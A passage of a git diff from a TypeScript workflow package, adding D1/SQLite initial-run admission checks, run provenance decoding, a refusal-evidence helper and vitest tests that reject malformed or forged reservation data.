InitialRunAdmission, + row: RawWorkflowSnapshot, + observed: ExecutionFenceAdmissionObservation, + nowMs: number, + ): boolean { + try { + const captured = captureBatchResults(result, input.reservation ? 3 : 2); + const counts = captured.map(({ results, meta }) => { + if ( + results.length > 1 || + (meta && + (!Number.isSafeInteger(meta.changes) || + meta.changes !== results.length)) + ) + throw new Error('initial statement changes contradict returned rows'); + return results.length; + }); + if (counts[0] === 0) { + if (counts.some((count) => count !== 0)) + throw new Error('zero INSERT changed a participant'); + return false; + } + const actual = decodeRawWorkflowSnapshotResult( + captured[0], + input.execution, + ); + if (!actual || !sameFields({ ...actual }, { ...row })) + throw new Error('initial INSERT returned different bytes'); + if ( + input.reservation && + !sameReservation( + decodeStartReservationAdmissionResult(captured[1]), + input.reservation, + input.execution, + ) + ) + throw new Error('initial binding is inconsistent'); + const proofRows = snapshotResultRows(captured[captured.length - 1]); + const proofRow = proofRows[0]; + if (observed.reading.state === 'proof-only') { + if ( + proofRows.length !== 1 || + proofRow === undefined || + !sameFields( + { ...decodeExecutionFenceAdmissionRow(proofRow).raw }, + { + ...observed.raw, + proof_run_id: row.runId, + proof_table_prefix: row.tablePrefix, + proof_workflow_id: row.workflowId, + proof_start_token: input.execution.startToken, + updated_at: nowMs, + }, + ) + ) + throw new Error('initial proof binding is inconsistent'); + } else if (proofRows.length !== 0) + throw new Error('open admission changed proof'); + return true; + } catch (error) { + throw new ExecutionFenceUnreadableError( + 'initial run admission batch result is not readable', + { cause: error }, + ); + } + } + + async #converged( + database: InitialAdmissionDatabase, + input: InitialRunAdmission, + row: RawWorkflowSnapshot, + observed: ExecutionFenceAdmissionObservation, + nowMs: number, + ): Promise { + const raw = prepareRawWorkflowSnapshotRead(database, input.execution); + const statements: SnapshotStatement[] = [raw.statement]; + if (input.reservation) + statements.push( + database + .prepare( + `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ? LIMIT 2`, + ) + .bind(input.reservation.key), + ); + if (observed.reading.state === 'proof-only') + statements.push( + database.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`), + ); + if (input.reservation) + statements.push( + database.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`), + ); + if (observed.reading.state === 'proof-only') + statements.push( + database.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`), + ); + const results = captureBatchResults( + await database.batch(statements), + statements.length, + ); + let index = 0; + const actual = decodeRawWorkflowSnapshotResult( + results[index++], + raw.address, + ); + const reservation = input.reservation + ? decodeStartReservationAdmissionResult(results[index++]) + : undefined; + const proofRows = + observed.reading.state === 'proof-only' + ? snapshotResultRows(results[index++]) + : undefined; + if (input.reservation) + validateStartReservationAdmissionSchema(results[index++]); + if (proofRows) + await validateExecutionFenceAdmissionSchema(results[index++]); + if ( + !actual || + !sameFields({ ...actual }, { ...row }) || + (input.reservation && + !sameReservation(reservation, input.reservation, input.execution)) + ) + return false; + const snapshot = record(JSON.parse(actual.snapshot)); + const provenance = decodeInitialRunProvenance( + record(snapshot.requestContext)[PROVENANCE], + 'present', + ); + if ( + provenance.startToken !== input.execution.startToken || + provenance.attemptToken !== input.attemptToken + ) + return false; + const proofRow = proofRows?.[0]; + return ( + !proofRows || + (proofRows.length === 1 && + proofRow !== undefined && + sameFields( + { ...decodeExecutionFenceAdmissionRow(proofRow).raw }, + { + ...observed.raw, + proof_run_id: row.runId, + proof_table_prefix: row.tablePrefix, + proof_workflow_id: row.workflowId, + proof_start_token: input.execution.startToken, + updated_at: nowMs, + }, + )) + ); + } + + async #diagnoseZero( + database: InitialAdmissionDatabase, + input: InitialRunAdmission, + observed: ExecutionFenceAdmissionObservation, + ): Promise { + try { + const [current, snapshot, reservation, owner] = await Promise.all([ + input.fence.readForAdmission(), + readRawWorkflowSnapshot(database, input.execution, { + missingTable: 'error', + }), + input.reservation + ? input.reservationStore?.readForAdmission(input.reservation.key) + : undefined, + input.runOwnerGuard + ? this.#readOwner(database, input.execution.runId) + : undefined, + ]); + if (reservation && input.reservation) { + if ( + reservation.owner.kind !== input.reservation.owner.kind || + reservation.owner.id !== input.reservation.owner.id + ) + return new StartReservationOwnerMismatchError(input.reservation.key); + if ( + reservation.targetKind !== input.reservation.targetKind || + reservation.targetId !== input.reservation.targetId + ) + return new StartReservationTargetMismatchError( + input.reservation.key, + reservation, + ); + } + if ( + input.runOwnerGuard && + (!owner || + owner.owner_kind !== input.runOwnerGuard.owner.kind || + owner.owner_id !== input.runOwnerGuard.owner.id || + (owner.reservation_token !== null && + owner.reservation_token !== input.attemptToken)) + ) + return new RunAdmissionConflictError('run-owner-changed'); + if (input.reservation && !sameReservation(reservation, input.reservation)) + return new RunAdmissionConflictError('reservation-changed'); + assertMutationEpoch(current.reading, input.mutationEpoch); + const stateAllowsStart = admitsRunStart( + current.reading, + input.proof?.key, + ); + const proofRoundMatches = + current.reading.state !== 'proof-only' || + (input.proof !== undefined && + current.reading.mutationEpoch === input.proof.mutationEpoch && + current.reading.transitionRevision === + input.proof.transitionRevision); + const proofSlotUnbound = + current.raw.proof_run_id === null && + current.raw.proof_table_prefix === null && + current.raw.proof_workflow_id === null && + current.raw.proof_start_token === null; + if ( + !stateAllowsStart || + !proofRoundMatches || + (current.reading.state === 'proof-only' && !proofSlotUnbound) + ) + return new ExecutionFencedError( + current.reading.state, + 'initial run admission', + ); + if (snapshot) return new RunAdmissionConflictError('run-exists'); + const { updated_at: _previousTime, ...previous } = observed.raw; + return new RunAdmissionConflictError( + sameFields({ ...current.raw }, previous) + ? 'admission-raced' + : 'fence-changed', + ); + } catch (error) { + if ( + error instanceof DoStatusError && + error.reason?.code === 'MUTATION_EPOCH_MISMATCH' + ) + return error; + return new ExecutionFenceUnreadableError( + 'initial run admission readback is not readable', + { cause: error }, + ); + } + } + + async #readOwner( + database: InitialAdmissionDatabase, + runId: string, + ): Promise | undefined> { + const rows = snapshotResultRows( + await database + .prepare( + `SELECT resource_kind, resource_id, owner_kind, owner_id, reservation_token FROM ${RESOURCE_OWNER_TABLE} WHERE resource_kind = 'run' AND resource_id = ? LIMIT 2`, + ) + .bind(runId) + .all(), + ); + if (rows.length > 1) throw new Error('run owner is not a singleton'); + const row = rows[0]; + if (!row) return undefined; + const captured = { + resource_kind: row.resource_kind, + resource_id: row.resource_id, + owner_kind: row.owner_kind, + owner_id: row.owner_id, + reservation_token: row.reservation_token, + }; + if ( + captured.resource_kind !== 'run' || + captured.resource_id !== runId || + !isExecutionPrincipalKind(captured.owner_kind) || + !isExecutionPrincipalId(captured.owner_id) || + (captured.reservation_token !== null && + !isPathSafeId(captured.reservation_token)) + ) + throw new Error('run owner row is malformed'); + return captured; + } +} diff --git a/packages/flowsafe/src/do-runner/index.ts b/packages/flowsafe/src/do-runner/index.ts index 6c874a66..e1a0adcd 100644 --- a/packages/flowsafe/src/do-runner/index.ts +++ b/packages/flowsafe/src/do-runner/index.ts @@ -94,6 +94,9 @@ export { normalizeRunExecutionIdentity, normalizeStartExecutionIdentity, normalizeStartIdentity, + type ProofEntryExpectation, + type RunAdmissionConflictClassification, + RunAdmissionConflictError, type RunExecutionIdentity, type StartExecutionIdentity, type StartIdentity, @@ -158,6 +161,14 @@ export { readExecutionFence, } from './execution-fence.js'; export { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js'; +export { + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowAdmissionCapability, + type InitialAdmissionDatabase, + type InitialAdmissionWitness, + type InitialRunAdmission, +} from './fenced-workflow-capability.js'; +export { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; export type { HubStreamEvent, PresenceMember } from './hub-do.js'; export { HUB_INSTANCE_NAME, HubDurableObject } from './hub-do.js'; export type { @@ -168,6 +179,7 @@ export type { StorageInitOptions, } from './init.js'; export { init } from './init.js'; +export { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js'; // The drain inventory: the read-only surface an operator proves a deployment // empty with, and the table census that keeps that proof complete as new // tables arrive. @@ -327,3 +339,7 @@ export { } from './suspension-deadline.js'; export type { ThreadScope } from './thread-do.js'; export { ThreadDurableObject, ThreadIdentityError } from './thread-do.js'; +export type { + D1RunAddress, + RawWorkflowSnapshot, +} from './workflow-snapshot-row.js'; diff --git a/packages/flowsafe/src/do-runner/initial-admission-refusal.test.ts b/packages/flowsafe/src/do-runner/initial-admission-refusal.test.ts new file mode 100644 index 00000000..85afcacb --- /dev/null +++ b/packages/flowsafe/src/do-runner/initial-admission-refusal.test.ts @@ -0,0 +1,97 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + type D1RunExecutionIdentity, + ExecutionFenceUnreadableError, + RunAdmissionConflictError, +} from './execution-admission.js'; +import { + definitiveInitialAdmissionRefusal, + isDefinitiveInitialAdmissionRefusal, +} from './initial-admission-refusal.js'; + +const EXECUTION = { + tablePrefix: '', + workflowId: 'workflow', + runId: 'run', + startToken: 'generation', +}; + +describe('definitive initial admission refusal', () => { + it('retains private immutable exact-scope evidence across public diagnostic failures', () => { + const source = { ...EXECUTION }; + const cause = new ExecutionFenceUnreadableError( + 'initial admission readback is not readable', + ); + const error = definitiveInitialAdmissionRefusal(source, cause); + source.startToken = 'changed'; + expect(error).toMatchObject({ + status: 503, + reason: cause.reason, + message: cause.message, + cause, + }); + expect(isDefinitiveInitialAdmissionRefusal(error, EXECUTION)).toBe(true); + expect( + isDefinitiveInitialAdmissionRefusal( + new Error('adapter wrapper', { cause: error }), + EXECUTION, + ), + ).toBe(true); + expect(JSON.stringify(error)).not.toContain('generation'); + for (const key of Object.keys(EXECUTION)) { + expect( + isDefinitiveInitialAdmissionRefusal(error, { + ...EXECUTION, + [key]: 'different', + }), + ).toBe(false); + } + }); + + it('rejects forgery, another namespace and generic uncertainty', () => { + const conflict = new RunAdmissionConflictError('admission-raced'); + for (const error of [ + conflict, + new ExecutionFenceUnreadableError('unknown'), + { status: 409, reason: conflict.reason, execution: EXECUTION }, + undefined, + ]) { + expect(isDefinitiveInitialAdmissionRefusal(error, EXECUTION)).toBe(false); + } + const error = definitiveInitialAdmissionRefusal(EXECUTION, conflict); + expect( + isDefinitiveInitialAdmissionRefusal( + JSON.parse(JSON.stringify(error)), + EXECUTION, + ), + ).toBe(false); + expect( + isDefinitiveInitialAdmissionRefusal(error, { + ...EXECUTION, + tablePrefix: null, + } as unknown as D1RunExecutionIdentity), + ).toBe(false); + expect( + isDefinitiveInitialAdmissionRefusal( + Object.create(Object.getPrototypeOf(error)), + EXECUTION, + ), + ).toBe(false); + }); + + it('bounds cause traversal and terminates cycles without evidence', () => { + const valid = definitiveInitialAdmissionRefusal( + EXECUTION, + new RunAdmissionConflictError('run-exists'), + ); + let wrapped: Error = valid; + for (let index = 0; index < 8; index += 1) + wrapped = new Error('wrapper', { cause: wrapped }); + expect(isDefinitiveInitialAdmissionRefusal(wrapped, EXECUTION)).toBe(false); + const cyclic = new Error('cycle'); + cyclic.cause = cyclic; + expect(isDefinitiveInitialAdmissionRefusal(cyclic, EXECUTION)).toBe(false); + }); +}); diff --git a/packages/flowsafe/src/do-runner/initial-admission-refusal.ts b/packages/flowsafe/src/do-runner/initial-admission-refusal.ts new file mode 100644 index 00000000..5bd89c13 --- /dev/null +++ b/packages/flowsafe/src/do-runner/initial-admission-refusal.ts @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { findInCauseChain } from './cause-chain.js'; +import { DoStatusError } from './do-status-error.js'; +import { + type D1RunExecutionIdentity, + normalizeD1RunExecutionIdentity, +} from './execution-admission.js'; + +const refusalEvidence = new WeakMap(); + +class DefinitiveInitialAdmissionRefusal extends DoStatusError { + readonly status: number; + override readonly reason; + constructor(cause: DoStatusError) { + super(cause.message, { cause }); + this.status = cause.status; + this.reason = cause.reason; + } +} + +/** @internal Called only after the owned batch validates an all-zero result. */ +export function definitiveInitialAdmissionRefusal( + execution: D1RunExecutionIdentity, + cause: DoStatusError, +): DoStatusError { + const captured = normalizeD1RunExecutionIdentity(execution); + const refusal = new DefinitiveInitialAdmissionRefusal(cause); + refusalEvidence.set(refusal, captured); + return refusal; +} + +/** In-process no-insert evidence for this exact scope, never deletion authority. */ +export function isDefinitiveInitialAdmissionRefusal( + error: unknown, + execution: D1RunExecutionIdentity, +): boolean { + try { + const expected = normalizeD1RunExecutionIdentity(execution); + return findInCauseChain( + error, + (link) => { + const observed = + link !== null && typeof link === 'object' + ? refusalEvidence.get(link) + : undefined; + return ( + observed !== undefined && + observed.tablePrefix === expected.tablePrefix && + observed.workflowId === expected.workflowId && + observed.runId === expected.runId && + observed.startToken === expected.startToken + ); + }, + { rootOnly: false }, + ); + } catch { + return false; + } +} diff --git a/packages/flowsafe/src/do-runner/run-provenance.test.ts b/packages/flowsafe/src/do-runner/run-provenance.test.ts new file mode 100644 index 00000000..b6733ddd --- /dev/null +++ b/packages/flowsafe/src/do-runner/run-provenance.test.ts @@ -0,0 +1,156 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { ExecutionFenceUnreadableError } from './execution-admission.js'; +import { + decodeInitialRunProvenance, + decodeRunStartIdentity, + runExecutionIdentityFor, +} from './run-provenance.js'; + +const START = { + owner: { kind: 'human', id: 'Alice' }, + target: { kind: 'workflow', id: 'parent' }, +}; +const INITIAL = { + version: 2, + startToken: 'server-generation', + attemptToken: 'host-correlation', + requestedBy: 'Alice', + requestedByKind: 'human', + startIdentity: START, + resumeCounts: [], +}; + +describe('run provenance', () => { + it('reads inherited and pruned provenance without inventing root authority', () => { + const decoded = decodeRunStartIdentity(INITIAL); + expect(decoded).toEqual({ + version: 2, + startToken: INITIAL.startToken, + startIdentity: START, + }); + if (!decoded) throw new Error('expected modern data'); + expect( + runExecutionIdentityFor( + { tablePrefix: 'Sibling_', workflowId: 'child', runId: 'run' }, + decoded, + ), + ).toEqual({ + tablePrefix: 'sibling_', + workflowId: 'child', + runId: 'run', + startToken: INITIAL.startToken, + }); + expect( + runExecutionIdentityFor( + { tablePrefix: null, workflowId: 'parent', runId: 'run' }, + decoded, + ).tablePrefix, + ).toBeNull(); + expect(Object.isFrozen(decoded.startIdentity?.owner)).toBe(true); + expect(decodeRunStartIdentity(undefined)).toBeUndefined(); + expect(decodeRunStartIdentity({ version: 1 })).toBeUndefined(); + }); + + it.each([ + null, + false, + 2, + [], + {}, + { version: 3 }, + { version: 2 }, + { ...INITIAL, startToken: '' }, + { + ...INITIAL, + startIdentity: { ...START, target: { kind: 'workflow', id: '' } }, + }, + { ...INITIAL, agentStart: { threaded: false } }, + ])('rejects malformed or unknown modern data %#', (value) => { + expect(() => decodeRunStartIdentity(value)).toThrow( + ExecutionFenceUnreadableError, + ); + }); + + it('separates generation and correlation and requires the selected marker mode', () => { + expect(decodeInitialRunProvenance(INITIAL, 'absent')).toEqual(INITIAL); + const marked = { ...INITIAL, initialAdmission: true }; + expect(decodeInitialRunProvenance(marked, 'present')).toEqual(marked); + expect(() => decodeInitialRunProvenance(marked, 'absent')).toThrow( + ExecutionFenceUnreadableError, + ); + expect(() => decodeInitialRunProvenance(INITIAL, 'present')).toThrow( + ExecutionFenceUnreadableError, + ); + expect( + decodeInitialRunProvenance( + { version: 2, startToken: 'S', attemptToken: 'H', resumeCounts: [] }, + 'absent', + ), + ).toEqual({ + version: 2, + startToken: 'S', + attemptToken: 'H', + resumeCounts: [], + }); + }); + + it.each([ + { version: 1 }, + { attemptToken: '' }, + { resumeCounts: new Array(1) }, + { resumeCounts: [['step', 0]] }, + { resumeCounts: {} }, + { requestedBy: undefined }, + { startIdentity: undefined }, + { requestedByKind: undefined }, + { requestedBy: 'Bob' }, + { requestedByKind: 'other' }, + { mutationEpoch: '0' }, + { mutationEpoch: -1 }, + { mutationEpoch: Number.MAX_SAFE_INTEGER + 1 }, + { initialAdmission: false }, + ])('refuses inconsistent initial fields %#', (patch) => { + expect(() => + decodeInitialRunProvenance({ ...INITIAL, ...patch }, 'absent'), + ).toThrow(ExecutionFenceUnreadableError); + }); + + it('requires agent mode only for an agent identity', () => { + const agent = { + ...INITIAL, + startIdentity: { + owner: START.owner, + target: { kind: 'agent', id: 'agent', threadId: 'thread' }, + }, + agentStart: { threaded: false }, + }; + expect(decodeInitialRunProvenance(agent, 'absent').agentStart).toEqual({ + threaded: false, + }); + for (const agentStart of [undefined, {}, null, { threaded: 0 }]) { + expect(() => + decodeInitialRunProvenance({ ...agent, agentStart }, 'absent'), + ).toThrow(ExecutionFenceUnreadableError); + } + }); + + it('captures each owned getter once and returns fresh frozen data', () => { + const calls = new Map(); + const source = Object.fromEntries(Object.entries(INITIAL)); + for (const [key, value] of Object.entries(INITIAL)) + Object.defineProperty(source, key, { + get() { + calls.set(key, (calls.get(key) ?? 0) + 1); + return value; + }, + }); + const result = decodeInitialRunProvenance(source, 'absent'); + expect([...calls.values()]).toEqual(Object.keys(INITIAL).map(() => 1)); + expect(result).not.toBe(source); + expect(Object.isFrozen(result)).toBe(true); + expect(Object.isFrozen(result.resumeCounts)).toBe(true); + expect(result.startIdentity).not.toBe(START); + }); +}); diff --git a/packages/flowsafe/src/do-runner/run-provenance.ts b/packages/flowsafe/src/do-runner/run-provenance.ts new file mode 100644 index 00000000..6952003c --- /dev/null +++ b/packages/flowsafe/src/do-runner/run-provenance.ts @@ -0,0 +1,152 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + type ExecutionPrincipalKind, + isExecutionPrincipalId, + isExecutionPrincipalKind, +} from '../approval-api/principal-identity.js'; +import { + ExecutionFenceUnreadableError, + normalizeMutationEpoch, + normalizeRunExecutionIdentity, + normalizeStartIdentity, + type RunExecutionIdentity, + type StartIdentity, +} from './execution-admission.js'; +import { isPathSafeId } from './path-safe-id.js'; + +export interface DecodedRunStartIdentity { + readonly version: 2; + readonly startToken: string; + readonly startIdentity?: StartIdentity; + readonly agentStart?: { readonly threaded: boolean }; +} + +export interface InitialRunProvenance extends DecodedRunStartIdentity { + readonly attemptToken: string; + readonly requestedBy?: string; + readonly requestedByKind?: ExecutionPrincipalKind; + readonly resumeCounts: readonly []; + readonly mutationEpoch?: number; + readonly initialAdmission?: true; +} + +function provenanceObject(value: unknown): Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new Error('run provenance must be an object'); + return value as Record; +} + +function startIdentityFromObject( + row: Record, +): DecodedRunStartIdentity { + const { startToken, startIdentity: rawIdentity, agentStart: rawAgent } = row; + if (!isPathSafeId(startToken)) throw new Error('run start token is invalid'); + const startIdentity = + rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity); + let agentStart: { readonly threaded: boolean } | undefined; + if (startIdentity?.target.kind === 'agent') { + const { threaded } = provenanceObject(rawAgent); + if (typeof threaded !== 'boolean') + throw new Error('agent start mode is invalid'); + agentStart = Object.freeze({ threaded }); + } else if (rawAgent !== undefined) + throw new Error('agent start mode has no agent target'); + return Object.freeze({ + version: 2, + startToken, + ...(startIdentity === undefined ? {} : { startIdentity }), + ...(agentStart === undefined ? {} : { agentStart }), + }); +} + +/** Decode role-neutral data; inherited logical targets need not name this row. */ +export function decodeRunStartIdentity( + value: unknown, +): DecodedRunStartIdentity | undefined { + try { + if (value === undefined) return undefined; + const row = provenanceObject(value); + const version = row.version; + if (version === 1) return undefined; + if (version !== 2) throw new Error('run provenance version is invalid'); + return startIdentityFromObject(row); + } catch (error) { + throw new ExecutionFenceUnreadableError( + 'run start identity is not readable', + { cause: error }, + ); + } +} + +export function runExecutionIdentityFor( + address: { tablePrefix: string | null; workflowId: string; runId: string }, + decoded: DecodedRunStartIdentity, +): RunExecutionIdentity { + return normalizeRunExecutionIdentity({ + ...address, + startToken: decoded.startToken, + }); +} + +export function decodeInitialRunProvenance( + value: unknown, + marker: 'absent' | 'present', +): InitialRunProvenance { + try { + const row = provenanceObject(value); + const { + version, + attemptToken, + requestedBy, + requestedByKind, + resumeCounts, + mutationEpoch: rawEpoch, + initialAdmission, + } = row; + if ( + version !== 2 || + !isPathSafeId(attemptToken) || + !Array.isArray(resumeCounts) || + resumeCounts.length !== 0 || + (marker === 'absent' + ? initialAdmission !== undefined + : marker !== 'present' || initialAdmission !== true) + ) + throw new Error('initial run provenance is malformed'); + const start = startIdentityFromObject(row); + const mutationEpoch = normalizeMutationEpoch(rawEpoch); + if (requestedBy !== undefined || requestedByKind !== undefined) { + if ( + !isExecutionPrincipalId(requestedBy) || + !isExecutionPrincipalKind(requestedByKind) + ) + throw new Error('initial requester is malformed'); + } + if ( + (requestedBy !== undefined && start.startIdentity === undefined) || + (start.startIdentity !== undefined && + (start.startIdentity.owner.id !== requestedBy || + start.startIdentity.owner.kind !== requestedByKind)) + ) + throw new Error('initial requester disagrees with start identity'); + return Object.freeze({ + ...start, + attemptToken, + ...(requestedBy === undefined + ? {} + : { + requestedBy: requestedBy as string, + requestedByKind: requestedByKind as ExecutionPrincipalKind, + }), + resumeCounts: Object.freeze([]) as readonly [], + ...(mutationEpoch === undefined ? {} : { mutationEpoch }), + ...(marker === 'present' ? { initialAdmission: true as const } : {}), + }); + } catch (error) { + throw new ExecutionFenceUnreadableError( + 'initial run provenance is not readable', + { cause: error }, + ); + } +} diff --git a/packages/flowsafe/src/do-runner/run-storage-tables.ts b/packages/flowsafe/src/do-runner/run-storage-tables.ts new file mode 100644 index 00000000..d8ad4824 --- /dev/null +++ b/packages/flowsafe/src/do-runner/run-storage-tables.ts @@ -0,0 +1,4 @@ +// SPDX-License-Identifier: Apache-2.0 + +// The ownership store depends on do-runner; the schema census verifies parity. +export const RESOURCE_OWNER_TABLE = 'flowsafe_resource_owners'; diff --git a/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts new file mode 100644 index 00000000..91aae8c6 --- /dev/null +++ b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import type { InitialAdmissionDatabase } from './fenced-workflow-capability.js'; + +describe('native SQLite unit batch transport', () => { + it('returns actual rows, executes DML once and preserves changes through SELECT', async () => { + const sqlite = openSqlite(); + sqlite.exec('CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT)'); + const db = sqliteUnitDatabase(sqlite) as InitialAdmissionDatabase; + const results = await db.batch([ + db.prepare("INSERT INTO fixture(value) VALUES ('initial') RETURNING *"), + db.prepare('SELECT * FROM fixture WHERE id = 0'), + db.prepare( + "UPDATE fixture SET value = 'bound' WHERE changes() = 1 RETURNING *", + ), + ]); + expect(results).toEqual([ + { + success: true, + results: [{ id: 1, value: 'initial' }], + meta: { changes: 1 }, + }, + { success: true, results: [], meta: { changes: 1 } }, + { + success: true, + results: [{ id: 1, value: 'bound' }], + meta: { changes: 1 }, + }, + ]); + expect(sqlite.prepare('SELECT * FROM fixture').all()).toEqual([ + { id: 1, value: 'bound' }, + ]); + expect( + await db.prepare("INSERT INTO fixture(value) VALUES ('ordinary')").run(), + ).toEqual({ success: true, meta: { changes: 1 } }); + expect( + await db.prepare('SELECT value FROM fixture WHERE id = 2').all(), + ).toEqual({ success: true, results: [{ value: 'ordinary' }], meta: {} }); + }); + + it('rolls back preceding native writes when a later statement throws', async () => { + const sqlite = openSqlite(); + sqlite.exec('CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT)'); + const db = sqliteUnitDatabase(sqlite) as InitialAdmissionDatabase; + await expect( + db.batch([ + db.prepare("INSERT INTO fixture VALUES (1, 'first') RETURNING *"), + db.prepare('INSERT INTO missing_fixture VALUES (2)'), + ]), + ).rejects.toThrow('no such table'); + expect(sqlite.prepare('SELECT * FROM fixture').all()).toEqual([]); + }); + + it('makes zero DML stop a following changes chain', async () => { + const sqlite = openSqlite(); + sqlite.exec( + "CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT); INSERT INTO fixture VALUES (1, 'occupied')", + ); + const db = sqliteUnitDatabase(sqlite) as InitialAdmissionDatabase; + expect( + await db.batch([ + db.prepare( + "INSERT INTO fixture VALUES (1, 'occupied') ON CONFLICT DO NOTHING RETURNING *", + ), + db.prepare( + "UPDATE fixture SET value = 'wrong' WHERE changes() = 1 RETURNING *", + ), + ]), + ).toEqual([ + { success: true, results: [], meta: { changes: 0 } }, + { success: true, results: [], meta: { changes: 0 } }, + ]); + expect(sqlite.prepare('SELECT value FROM fixture').get()).toEqual({ + value: 'occupied', + }); + }); +}); diff --git a/packages/flowsafe/src/do-runner/start-idempotency.test.ts b/packages/flowsafe/src/do-runner/start-idempotency.test.ts index 47ba5969..f3064e77 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.test.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.test.ts @@ -23,6 +23,7 @@ import { } from './execution-fence.js'; import { beginIdempotentStart, + decodeStartReservationAdmissionResult, IdempotentStartAlreadySettledError, IdempotentStartPendingError, type IdempotentStartSurface, @@ -41,11 +42,220 @@ import { StartReservationOwnerMismatchError, StartReservationTargetMismatchError, StartReservationUnreadableError, + validateStartReservationAdmissionSchema, } from './start-idempotency.js'; const OWNER = { kind: 'human', id: 'operator-1' } as const; const OTHER_OWNER = { kind: 'human', id: 'operator-2' } as const; +describe('strict initial-admission reservation observations', () => { + it.each([ + 'row', + 'schema', + ])('rejects inherited slots in the reservation %s observation', async (mode) => { + const { sqlite, binding } = schemaHarness(3); + const sparse = (rows: unknown[]) => + Object.setPrototypeOf( + new Array(rows.length), + Object.assign(Object.create(Array.prototype), rows), + ); + if (mode === 'schema') { + const columns = sqlite + .prepare('PRAGMA table_xinfo(flowsafe_start_idempotency)') + .all(); + expect(() => + validateStartReservationAdmissionSchema({ results: sparse(columns) }), + ).toThrow('invalid row'); + } else { + const wrapped = interceptReservations(binding, async (sql, execute) => { + const result = (await execute()) as { results: unknown[] }; + return sql.startsWith('SELECT * FROM flowsafe_start_idempotency') + ? { results: sparse(result.results) } + : result; + }); + await expect( + new StartIdempotencyStore(wrapped).readForAdmission('key'), + ).rejects.toBeInstanceOf(StartReservationUnreadableError); + } + }); + it('does not let a custom iterator hide a malformed admission row', async () => { + const { binding } = schemaHarness(3); + const wrapped = interceptReservations(binding, async (sql, execute) => { + const result = (await execute()) as { results: unknown[] }; + if (!sql.startsWith('SELECT * FROM flowsafe_start_idempotency')) + return result; + const rows = [null]; + Object.defineProperty(rows, Symbol.iterator, { + value: function* () { + yield* result.results; + }, + }); + return { results: rows }; + }); + await expect( + new StartIdempotencyStore(wrapped).readForAdmission('key'), + ).rejects.toBeInstanceOf(StartReservationUnreadableError); + }); + it('rejects the first malformed schema envelope even if its getter later returns real columns', () => { + const { sqlite } = schemaHarness(3); + const columns = sqlite + .prepare('PRAGMA table_xinfo(flowsafe_start_idempotency)') + .all(); + let reads = 0; + expect(() => + validateStartReservationAdmissionSchema({ + get results() { + return ++reads === 1 ? [null] : columns; + }, + }), + ).toThrow('invalid row'); + expect(reads).toBe(1); + }); + it.each([ + 'envelope', + 'element', + ])('captures one %s observation before admission decoding', async (mode) => { + const { binding, sqlite } = schemaHarness(3); + sqlite.exec("UPDATE flowsafe_start_idempotency SET start_token = ''"); + let reads = 0; + const wrapped = interceptReservations(binding, async (sql, execute) => { + const result = (await execute()) as { results: unknown[] }; + if (!sql.startsWith('SELECT * FROM flowsafe_start_idempotency')) + return result; + if (mode === 'envelope') + return { + get results() { + return ++reads === 1 ? result.results : new Array(1); + }, + }; + const rows: unknown[] = []; + Object.defineProperty(rows, 0, { + get() { + return ++reads === 1 ? result.results[0] : undefined; + }, + }); + return { results: rows }; + }); + expect( + (await new StartIdempotencyStore(wrapped).readForAdmission('key'))?.runId, + ).toBe('run'); + expect(reads).toBe(1); + }); + const raw = { + key: 'key', + owner_kind: 'human', + owner_id: 'owner', + target_kind: 'workflow', + target_id: 'workflow', + run_id: 'run', + thread_id: null, + state: 'started', + created_at: 100, + updated_at: 200, + start_token: '', + start_table_prefix: null, + start_workflow_id: null, + }; + + it.each([ + ['workflow', 'thread', 'admission workflow thread must be null'], + ['workflow', 'bad/thread', 'admission workflow thread must be null'], + ['agent', null, 'admission agent thread is invalid'], + ['agent', undefined, 'admission agent thread is invalid'], + ['agent', 'bad/thread', 'admission agent thread is invalid'], + ])('validates raw %s thread %s before normalization', (target_kind, thread_id, cause) => { + expect(() => + decodeStartReservationAdmissionResult({ + results: [{ ...raw, target_kind, thread_id }], + }), + ).toThrow(cause); + }); + + it('validates every own current field and logical identifier with populated rows', () => { + for (const key of Object.keys(raw)) { + const row = Object.fromEntries( + Object.entries(raw).filter(([name]) => name !== key), + ); + expect(() => + decodeStartReservationAdmissionResult({ results: [row] }), + ).toThrow(`row is missing ${key}`); + } + for (const target_id of ['', 'bad/id']) + expect(() => + decodeStartReservationAdmissionResult({ + results: [{ ...raw, target_id }], + }), + ).toThrow('admission target id is invalid'); + expect(() => + decodeStartReservationAdmissionResult({ + results: [{ ...raw, key: 'bad/key' }], + }), + ).toThrow('admission key is invalid'); + expect(() => + decodeStartReservationAdmissionResult({ results: new Array(1) }), + ).toThrow('invalid row'); + expect(() => + decodeStartReservationAdmissionResult({ results: [raw, raw] }), + ).toThrow('multiple rows'); + expect( + decodeStartReservationAdmissionResult({ results: [raw] })?.threadId, + ).toBeUndefined(); + expect( + decodeStartReservationAdmissionResult({ + results: [{ ...raw, target_kind: 'agent', thread_id: 'thread' }], + })?.threadId, + ).toBe('thread'); + }); + + it('requires a current schema without readiness writes and preserves ordinary compatibility', async () => { + const { sqlite, binding, store } = harness(); + expect(store.usesDatabase(binding)).toBe(true); + 